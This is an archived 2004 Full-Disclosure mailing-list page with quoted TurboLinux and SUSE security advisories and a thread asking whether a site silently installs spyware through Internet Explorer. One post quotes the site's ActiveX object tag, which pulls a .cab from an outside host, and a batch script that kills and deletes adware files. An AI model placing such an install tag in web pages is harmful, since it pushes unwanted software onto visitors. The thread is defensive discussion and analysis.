>> 855821 be80bb2b23c8b87ab831bb99201b85c8
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-perl-5.4.7-2.i586.rpm
>> 60163 1281a234915115227a2bb2fa5071d6c7
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/ImageMagick-5.4.3-3.src.rpm
>> 3665019 ae1a64cf87ea0e6598ca147abd3349e4
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/ImageMagick-5.4.3-3.i586.rpm
>> 3668565 d065de9b0d5a58b6393cc4805e0eb405
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/ImageMagick-devel-5.4.3-
>
> 3.i586.rpm
>
>> 971835 df0dda9a20ad43b2a8b3ee7a5313f6a8
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/ImageMagick-5.3.3-3.src.rpm
>> 3656626 6197f1b2ff6d1a831d532a3fce210f94
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/ImageMagick-5.3.3-3.i586.rpm
>> 3038600 0276001bdf52d75ab65dcac7ff4ebb49
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/ImageMagick-devel-5.3.3-3.i586.rpm
>> 1267440 9e21404db4bf10a005a89f974fd8558e
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/ImageMagick-5.3.3-3.src.rpm
>> 3656626 084f8247af6313928f5dcdae20ed9713
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/ImageMagick-5.3.3-3.i586.rpm
>> 3039080 e3ca8b73f9a5f6cbaf8a136d121fdebf
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/ImageMagick-devel-5.3.3-
>
> 3.i586.rpm
>
>> 1267050 a3e0ef2ac5bd589f453f5ab529981fab
>>
>>
>>References:
>>
>>CVE
>> [CAN-2004-0827]
>> http://cve.mitre.org/cgi-bin/cvename.cgi\?name=CAN-2004-0827
>>
>>
>>* You may need to update the turbopkg tool before applying the update.
>>Please refer to the following URL for detailed information.
>>
>> http://www.turbolinux.com/download/zabom.html
>> http://www.turbolinux.com/download/zabomupdate.html
>>
>>Package Update Path
>>http://www.turbolinux.com/update
>>
>>============================================================
>>* To obtain the public key
>>
>>Here is the public key
>>
>>http://www.turbolinux.com/security/
>>
>>* To unsubscribe from the list
>>
>>If you ever want to remove yourself from this mailing list,
>> you can send a message to server-users-e-ctl
turbolinux.co.jp> with
>>the word `unsubscribe' in the body (don't include the quotes).
>>
>>unsubscribe
>>
>>* To change your email address
>>
>>If you ever want to chage email address in this mailing list,
>> you can send a message to server-users-e-ctl
turbolinux.co.jp> with
>>the following command in the message body:
>>
>> chaddr 'old address' 'new address'
>>
>>If you have any questions or problems, please contact
>>supp_info
turbolinux.co.jp>
>>
>>Thank you!
>>
>>-----BEGIN PGP SIGNATURE-----
>>Version: GnuPG v1.2.6 (GNU/Linux)
>>
>>iD8DBQFBYqHtK0LzjOqIJMwRAgNPAJ9TkkL73895x0W7UXTix5/7Ai6vRQCgr1s5
>>D6e2lOCXUmCWuYNVxpgAvWY=
>>=qIgj
>>-----END PGP SIGNATURE-----
>>
>>
>>
>>
>>
>>--__--__--
>>
>>Message: 2
>>Subject: RE: [Full-Disclosure] Spyware installs with no interaction in IE on fully patched XP SP2 box
>>Date: Tue, 5 Oct 2004 10:50:02 -0400
>>From: "Castigliola, Angelo" ACastigliola
unumprovident.com>
>>To: "Alla Bezroutchko" alla
scanit.be>, full-disclosure
lists.netsys.com>
>>
>>I am sure there is a configuration setting or software (perhaps the
>>software made the configuration change) that is preventing this from
>>installing on your computer.
>>
>>I tested with a default XP SP1 install with all the Microsoft Updates
>>that have been applied to stop this type of IE hack. The spyware still
>>installs itself on the machine.
>>
>>XP SP1 with the following patches:
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;814078
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;816093
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;823182
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;825119
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;832894
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;835732
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;840374
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;840315
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;839645
>>http://support.microsoft.com/default.aspx\?scid=kb;en-us;867801
>>
>>These are _ALL_ the Microsoft Updates that specifically patch up IE
>>holes.
>>
>>My question to the forum is: If this is not a 0-day IE exploit that
>>allows software to install on a computer with no user interaction then
>>what Microsoft Update applies to this exploit?
>>
>>Again I fear there is no Microsoft Update available that will fix this
>>hole.
>>
>>Can someone confirm that a Default install of XP SP2 with all patches
>>will not stop spyware from themexp.org from installing?
>>
>>Angelo Castigliola III
>>Operations Technical Analyst I
>>UnumProvident IT Services
>>207.575.3820
>>
>>-----Original Message-----
>>From: full-disclosure-admin
lists.netsys.com
>>[full-disclosure-admin
lists.netsys.com','','','')">full-disclosure-admin
lists.netsys.com] On Behalf Of Alla
>>Bezroutchko
>>Sent: Tuesday, October 05, 2004 7:01 AM
>>To: full-disclosure
lists.netsys.com
>>Subject: Re: [Full-Disclosure] Spyware installs with no interaction in
>>IE on fully patched XP SP2 box
>>
>>
>>Carr, Robert wrote:
>>
>>>Interesting...
>>>
>>>I just went there, and he's right. Atpartners.cab installed without
>>>permission. My McAfee picked it right up as Atpartners.dll, downloaded
>>
>>>to Temp Internet files. Spyware detected as NetPals. On the other
>>>hand, I'm admin of my machine, I wonder if a "user" would get an error
>>
>>>message about not having the correct rights...
>>
>>I have tested it on Windows XP SP2 and on fully patched Windows 2000. In
>>
>>both cases _nothing_ gets run or installed. Both systems are more or
>>less standard installations without any special IE hardening (except
>>patches).
>>
>>When I surf to the site with Windows XP "Installing components...
>>ATpartners.cab" briefly appears in the status bar and then the site gets
>>
>>displayed. Under the normal browser bars there is a message saying "The
>>site might require the following ActiveX control: FREE on-line games and
>>
>>special offers from... Click here to install...". I don't click on it.
>>Searching the disk for atpartnets.cab or atpartners.dll finds nothing.
>>The CLSID of the ActiveX control only appears in the registry in
>>"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\"
>>.
>>
>>With Windows 2000 I also get "Installing components... ATpartners.cab"
>>in the status bar and then the dialog box asking if I want to install
>>"Free online games from ATgames.com". This is a usual dialog box you get
>>
>>when a page attempts to install an ActiveX control. If I click "No",
>>nothing gets installed, no atpartners files on the file system, no
>>traces of the CLSID in the registry.
>>
>>I suppose the cab file gets downloaded so that Windows can read and
>>display the signature of the file. It does not get run or installed
>>unless explicitly permitted by user.
>>
>>So, as far as I can see this is no 0-day.
>>
>>Alla.
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>>
>>--__--__--
>>
>>Message: 3
>>Date: Tue, 05 Oct 2004 16:57:52 +0200
>>From: Thomas Biege thomas
suse.de>
>>To: full-disclosure
lists.netsys.com
>>Subject: [Full-Disclosure] SUSE Security Announcement: samba (SUSE-SA:2004:035)
>>
>>
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>______________________________________________________________________________
>>
>> SUSE Security Announcement
>>
>> Package: samba
>> Announcement-ID: SUSE-SA:2004:035
>> Date: Tuesday, Oct 5th 2004 16:53:01 MEST
>> Affected products: 8.1, 8.2, 9.0
>> SUSE Linux Enterprise Server 8
>> SUSE Linux Desktop 1.0
>> Vulnerability Type: remote file disclosure
>> Severity (1-10): 6
>> SUSE default package: Yes
>> Cross References: CAN-2004-0815
>>
>> Content of this advisory:
>> 1) security vulnerability resolved:
>> - Samba file access problem
>> problem description
>> 2) solution/workaround
>> 3) special instructions and notes
>> 4) package location and checksums
>> 5) pending vulnerabilities, solutions, workarounds:
>> - opera
>> - kernel
>> - mozilla
>> 6) standard appendix (further information)
>>
>>______________________________________________________________________________
>>
>>1) problem description, brief discussion
>>
>> The Samba server, which allows to share files and resources via
>> the SMB/CIFS protocol, contains a bug in the sanitation code of path
>> names which allows remote attackers to access files outside of the
>> defined share. In order to access these files, they must be readable
>> by the account used for the SMB session.
>> CAN-2004-0815 has been assigned to this issue.
>>
>>2) solution/workaround
>>
>> As a temporary workaround you can set the
>> wide links = no
>> option in smb.conf and restart the samba server. However an update
>> is recommended nevertheless.
>>
>>3) special instructions and notes
>>
>> After successfully updating the samba package, you need to issue the
>> following command as root:
>>
>> rcsmb restart
>>
>>4) package location and checksums
>>
>> Please download the update package for your distribution and verify its
>> integrity by the methods listed in section 3) of this announcement.
>> Then, install the package using the command "rpm -Fhv file.rpm" to apply
>> the update.
>> Our maintenance customers are being notified individually. The packages
>> are being offered to install from the maintenance web.
>>
>> SUSE Linux 9.0:
>> ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/samba-2.2.8a-226.i586.rpm
>> eb71869029b35d2a97d55e26514524db
>> patch rpm(s):
>> ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/samba-2.2.8a-226.i586.patch.rpm
>> 48bb3e455079fcfdf4ad2baa28f28557
>> source rpm(s):
>> ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/samba-2.2.8a-226.src.rpm
>> d162ea5a39b14ee16ae1c6d5df9211bb
>>
>> SUSE Linux 8.2:
>> ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.8a-225.i586.rpm
>> 79b0514a827bdd782e6d3f62bb92fb85
>> patch rpm(s):
>> ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.8a-225.i586.patch.rpm
>> a50dd448212245d51e9ac59ae50514e8
>> source rpm(s):
>> ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/samba-2.2.8a-225.src.rpm
>> 25d488678b607b3c67612ee065abd77a
>>
>> SUSE Linux 8.1:
>> ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.8a-224.i586.rpm
>> 93d0fb2502f30593548dbe2f41ec8948
>> patch rpm(s):
>> ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.8a-224.i586.patch.rpm
>> da5b107fb71c5daf5972b6e0aaca4f5c
>> source rpm(s):
>> ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/samba-2.2.8a-224.src.rpm
>> e0b9f9af6c5348cb9840b5d98a1c59dc
>>
>>
>> x86-64 Platform:
>> SUSE Linux 9.0:
>> ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/samba-2.2.8a-226.x86_64.rpm
>> 0f1c94aa23653b0cf9b318646d9153af
>> patch rpm(s):
>> ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/samba-2.2.8a-226.x86_64.patch.rpm
>> 569974c359702c263b0968ce8fb9810f
>> source rpm(s):
>> ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/samba-2.2.8a-226.src.rpm
>> 75c1a01d03af42835809691840eaa331
>>
>>______________________________________________________________________________
>>
>>5) Pending vulnerabilities in SUSE Distributions and Workarounds:
>>
>> - opera
>> New opera packages are available on our ftp servers, fixing
>> CAN-2004-0691, CAN-2004-0597, CAN-2004-0598, CAN-2004-0599 and
>> CAN-2004-0746.
>>
>> - kernel
>> Update kernels for the kNFSd problem for SLES 8 and SL 8.1 have been
>> released.
>>
>> - mozilla
>> We are in the process of releasing updates for mozilla (and related
>> browsers), fixing various issues: CAN-2004-0597, CAN-2004-0718,
>> CAN-2004-0722, CAN-2004-0757, CAN-2004-0758, CAN-2004-0759,
>> CAN-2004-0760, CAN-2004-0761, CAN-2004-0762, CAN-2004-0763,
>> CAN-2004-0764 and CAN-2004-0765.
>> We will give you concrete details in a separate mozilla advisory when
>> the updates are available.
>>
>>
>>______________________________________________________________________________
>>
>>6) standard appendix: authenticity verification, additional information
>>
>> - Package authenticity verification:
>>
>> SUSE update packages are available on many mirror ftp servers all over
>> the world. While this service is being considered valuable and important
>> to the free and open source software community, many users wish to be
>> sure about the origin of the package and its content before installing
>> the package. There are two verification methods that can be used
>> independently from each other to prove the authenticity of a downloaded
>> file or rpm package:
>> 1) md5sums as provided in the (cryptographically signed) announcement.
>> 2) using the internal gpg signatures of the rpm package.
>>
>> 1) execute the command
>> md5sum
>> after you downloaded the file from a SUSE ftp server or its mirrors.
>> Then, compare the resulting md5sum with the one that is listed in the
>> announcement. Since the announcement containing the checksums is
>> cryptographically signed (usually using the key security
suse.de),
>> the checksums show proof of the authenticity of the package.
>> We disrecommend to subscribe to security lists which cause the
>> email message containing the announcement to be modified so that
>> the signature does not match after transport through the mailing
>> list software.
>> Downsides: You must be able to verify the authenticity of the
>> announcement in the first place. If RPM packages are being rebuilt
>> and a new version of a package is published on the ftp server, all
>> md5 sums for the files are useless.
>>
>> 2) rpm package signatures provide an easy way to verify the authenticity
>> of an rpm package. Use the command
>> rpm -v --checksig
>> to verify the signature of the package, where is the
>> filename of the rpm package that you have downloaded. Of course,
>> package authenticity verification can only target an un-installed rpm
>> package file.
>> Prerequisites:
>> a) gpg is installed
>> b) The package is signed using a certain key. The public part of this
>> key must be installed by the gpg program in the directory
>> ~/.gnupg/ under the user's home directory who performs the
>> signature verification (usually root). You can import the key
>> that is used by SUSE in rpm packages for SUSE Linux by saving
>> this announcement to a file ("announcement.txt") and
>> running the command (do "su -" to be root):
>> gpg --batch; gpg
>> SUSE Linux distributions version 7.1 and thereafter install the
>> key "build
suse.de" upon installation or upgrade, provided that
>> the package gpg is installed. The file containing the public key
>> is placed at the top-level directory of the first CD (pubring.gpg)
>> and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .
>>
>>
>> - SUSE runs two security mailing lists to which any interested party may
>> subscribe:
>>
>> suse-security
suse.com
>> - general/linux/SUSE security discussion.
>> All SUSE security announcements are sent to this list.
>> To subscribe, send an email to
>> suse-security-subscribe
suse.com>.
>>
>> suse-security-announce
suse.com
>> - SUSE's announce-only mailing list.
>> Only SUSE's security announcements are sent to this list.
>> To subscribe, send an email to
>> suse-security-announce-subscribe
suse.com>.
>>
>> For general information or the frequently asked questions (faq)
>> send mail to:
>> suse-security-info
suse.com> or
>> suse-security-faq
suse.com> respectively.
>>
>> =====================================================================
>> SUSE's security contact is security
suse.com> or security
suse.de>.
>> The security
suse.de> public key is listed below.
>> =====================================================================
>>______________________________________________________________________________
>>
>> The information in this advisory may be distributed or reproduced,
>> provided that the advisory is not modified in any way. In particular,
>> it is desired that the clear-text signature shows proof of the
>> authenticity of the text.
>> SUSE Linux AG makes no warranties of any kind whatsoever with respect
>> to the information contained in this security advisory.
>>
>>Type Bits/KeyID Date User ID
>>pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team security
suse.de>
>>pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key build
suse.de>
>>
>>
>>-----BEGIN PGP SIGNATURE-----
>>Version: GnuPG v1.2.2-rc1-SuSE (GNU/Linux)
>>
>>iQEVAwUBQWK1Q3ey5gA9JdPZAQG2XAf/brEQk2j1Eh3S7Q3r9jnNHM/0oJ6rfish
>>wS/GcWazRcIV7I8JnUqspDU9zYamS2oB8Vu977yTFc+nhTryvpWsbJDnQIjtYE52
>>bEMMFW6gYTzUqG2U31mWKaqtpuFJJNuA3Lu0HgsxaQJ5F7qjVcsBOwX5PqCARMFp
>>KIcGJi8BtLsQ36x2ZWOXKG6p8jXxx8kSVln7T6e1T0v4tVURA6BaEkE4Dh0ZoKh1
>>V+lYw0QipbBIByWnY/rT4T1tvZE9NUG3JSHe0olyvDekmm/WzoHLIqOe2cKfR77a
>>nNb+cA81JW7JJk10NWKY4hzUX9oLCN8/mAvl40nvCHX+9YHldeM3Ag==
>>=LbT6
>>-----END PGP SIGNATURE-----
>>
>>
>>--__--__--
>>
>>Message: 4
>>Date: Tue, 5 Oct 2004 11:48:59 -0400
>>From: "Clairmont, Jan M" jan.m.clairmont
citigroup.com>
>>To: full-disclosure
lists.netsys.com>
>>Subject: [Full-Disclosure] Paranid ramblings - what's the deal? Bounded variables aren't?
>>
>>Every time I send out a memo to full-disclosure i get this this mail bounce message and
>>it gets posted on full-disclosure. Anybody have an idea what's happening.
>>
>>
>>Message Follows:
>>
>>From: Mailer-Daemon
ic-s.nl
>>
>>Subject: NDN: [Full-Disclosure] Shows when no limits are set or restricted shell or bat ac
>>
>>Sorry. Your message could not be delivered to:
>>
>>tycho,IC&S (The name was not found at the remote site. Check that the name
>>has been entered correctly.)
>>
>>
>>
>>Are these guys phishing, swishing or whatever Netherlands uber alles?
>>Or is this just their mail-server barfing? Should probably point dig at it
>>and debug it but I have gotten in trouble for that type of "help" before?
>>
>>
>>Keep on computing, even though your bytes are fried.
>>
>>Jan Clairmont, Paladin of the Dept. of Insecurity Department, where no redundancy is allowed or is it redundancy is
>
> required, have to look that up in the book of insecurity security chapter 4 verse 3(The bible of the Mad Arab Adulah
> Medula, taken from
>
>>the NecronoMicron or the latest M$ directorate).
>>
>>Unix Security Support/Consultant I think?
>>
>>
>>
>>
>>--__--__--
>>
>>_______________________________________________
>>Full-Disclosure mailing list
>>Full-Disclosure
lists.netsys.com
>>http://lists.netsys.com/mailman/listinfo/full-disclosure
>>
>>
>>End of Full-Disclosure Digest
>>
>
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
--
My "Foundation" verse:
Isa 54:17 No weapon that is formed against thee shall prosper;
and every tongue that shall rise against thee in judgment thou
shalt condemn. This is the heritage of the servants of the LORD,
and their righteousness is of me, saith the LORD.
-- carpe ductum -- "Grab the tape"
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
RE: [Full-Disclosure] Spyware installs ... XP SP2 box
From: Geraldo Rivera (iamafraud
hotmail.com)
Date: Tue Oct 05 2004 - 18:30:05 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Thanks to everybody for all the info posted here. I wish I had a machine
available right now to set up a vanilla SP2 install so I could witness the
results of visiting the site again myself.
I did indeed say that I have visited the site in the past. However, I hadn't
in a number of months prior to this visit. I also did not discover any
adware/spyware that was installed on my machine prior to 10/2 (nor did
ad-aware, spybot, or pest-patrol). I trust in the info that has been posted
here, I just wish that I could witness it myself. I am very cautious when
surfing (I know somebody is going to tell me not cautious enough since I am
still using IE) so I am wondering what could have been installed prior to
this visit that allowed this install to happen without any interaction.
Regardless, thanks again to everybody for the good info, and a big fuck you
to themexp.org.
>From: "Castigliola, Angelo" <ACastigliola
unumprovident.com>
>To: "raize" <raize
gravito.com>, <full-disclosure
lists.netsys.com>
>Subject: RE: [Full-Disclosure] Spyware installs ... XP SP2 box
>Date: Tue, 5 Oct 2004 12:11:24 -0400
>
>Thank you for the test Raize. I appreciate your time.
>
> >One must assume that you are installing these "theme packs" via some
>BHO (Browser Helper Object) that you
> >installed previously or put the site on the "Always trust content from
>this provider". Perhaps someone
> >else can explain where I am missing the exploit, because a quick glance
>over seems to indicate there is
> >none for XP SP2. (I did not test this on SP1)
>
>I think you are right. It seems the only person that was not prompted
>for the install that was not running SP2 was the original author of this
>thread who said that it was a previously visited site.
>
>As far as users running SP1 there is no security warning that says an
>executable is about to be installed. There is no Microsoft Update that
>will prevent this from loading. Like most large organizations just
>jumping to SP2 is not an option. It needs go though rigorous testing to
>make sure it complies with all of our internal software.
>
>Angelo Castigliola III
>Operations Technical Analyst I
>UnumProvident IT Services
>207.575.3820
>-----Original Message-----
>From: full-disclosure-admin
lists.netsys.com
>[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of raize
>Sent: Tuesday, October 05, 2004 9:29 AM
>To: full-disclosure
lists.netsys.com
>Subject: Re: [Full-Disclosure] Spyware installs ... XP SP2 box
>
>
>The installed code is definitely:
>
><object id="DDownload_UL1"
>classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA"
>codebase="http://www.addictivetechnologies.net/DM0/cab/ATPartners.cab"
>HEIGHT=0 WIDTH=0></object>
>
>However, there is no exploit here. I loaded this with a default honeypot
>image of XPSP2 with IE as an Admin and nothing else installed other than
>the drop down that asked me if I really wanted to trust this site for
>installing an executable.
>
>One must assume that you are installing these "theme packs" via some BHO
>(Browser Helper Object) that you installed previously or put the site on
>the "Always trust content from this provider". Perhaps someone else can
>explain where I am missing the exploit, because a quick glance over
>seems to indicate there is none for XP SP2. (I did not test this on SP1)
>
>Spybot and Ad-aware do not catch and kill WinRebates and WinAd
>spy/adware properly, but I have a batch command that will do it for you.
>Included is a .zip of each IP contacted along with full URL request and
>output. It also contains the contents of this email and the batch file
>with these commands: (You'll want to rename the .txt to .bat)
>
>--------------------------------------------
>cd "C:\Program Files\Winad Client"
>taskkill /T /F /IM WinClt.exe
>taskkill /T /F /IM WinAd.exe
>erase WinClt.exe
>erase WinAd.exe
>cd ..
>cd Web_Rebates
>taskkill /T /F /IM WebRebates0.exe
>taskkill /T /F /IM WebRebates1.exe
>erase WebRebates0.exe
>erase WebRebates1.exe
>cd ..
>rd /Q /S "Winad Client"
>rd /Q /S "Web_Rebates"
>cd "C:\Windows\system32"
>taskkill /T /F /IM fjdria.exe
>taskkill /T /F /IM ezSP_Px.exe
>erase fjdria.exe
>erase ezSP_Px.exe
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today - it's FREE!
hthttp://messenger.msn.click-url.com/go/onm00200471ave/direct/01/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Paranid ramblings - what's the deal? Bounded variables aren't?
From: GuidoZ (uberguidoz
gmail.com)
Date: Tue Oct 05 2004 - 18:51:25 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
> Subject: NDN: [Full-Disclosure] Shows when no limits are set or restricted shell or bat ac
>
> Sorry. Your message could not be delivered to:
>
> tycho,IC&S (The name was not found at the remote site. Check that the name
> has been entered correctly.)
Yeah, I get this too. (In fact I wrote to the list about it as well,
including to the moderator quite some time ago.) I've simply setup a
filter to auto-delete it (among the 30 other "Out of office" replies,
dead email addresses, and auto-responders).
Some advice: Do not have mailing lists go to an email address with an
auto-responder. Period. As for the invalid email addresses, I'd hope
that the mods would prune the database now and then to remove them.
(It's entirely possible they never see such addresses, however all
they have to do is send a message to the list and see the returned
emails themselves.)
For now, best I can recommend is to setup a rule/filter to delete it
automatically.
--
Peace. ~G
On Tue, 5 Oct 2004 11:48:59 -0400, Clairmont, Jan M
<jan.m.clairmont
citigroup.com> wrote:
> Every time I send out a memo to full-disclosure i get this this mail bounce message and
> it gets posted on full-disclosure. Anybody have an idea what's happening.
>
> Message Follows:
>
> From: Mailer-Daemon
ic-s.nl
>
> Subject: NDN: [Full-Disclosure] Shows when no limits are set or restricted shell or bat ac
>
> Sorry. Your message could not be delivered to:
>
> tycho,IC&S (The name was not found at the remote site. Check that the name
> has been entered correctly.)
>
> Are these guys phishing, swishing or whatever Netherlands uber alles?
> Or is this just their mail-server barfing? Should probably point dig at it
> and debug it but I have gotten in trouble for that type of "help" before?
>
> Keep on computing, even though your bytes are fried.
>
> Jan Clairmont, Paladin of the Dept. of Insecurity Department, where no redundancy is allowed or is it redundancy is required, have to look that up in the book of insecurity security chapter 4 verse 3(The bible of the Mad Arab Adulah Medula, taken from
> the NecronoMicron or the latest M$ directorate).
>
> Unix Security Support/Consultant I think?
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] Re:
From: Jkuperus (jkuperus
planet.nl)
Date: Tue Oct 05 2004 - 19:40:40 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]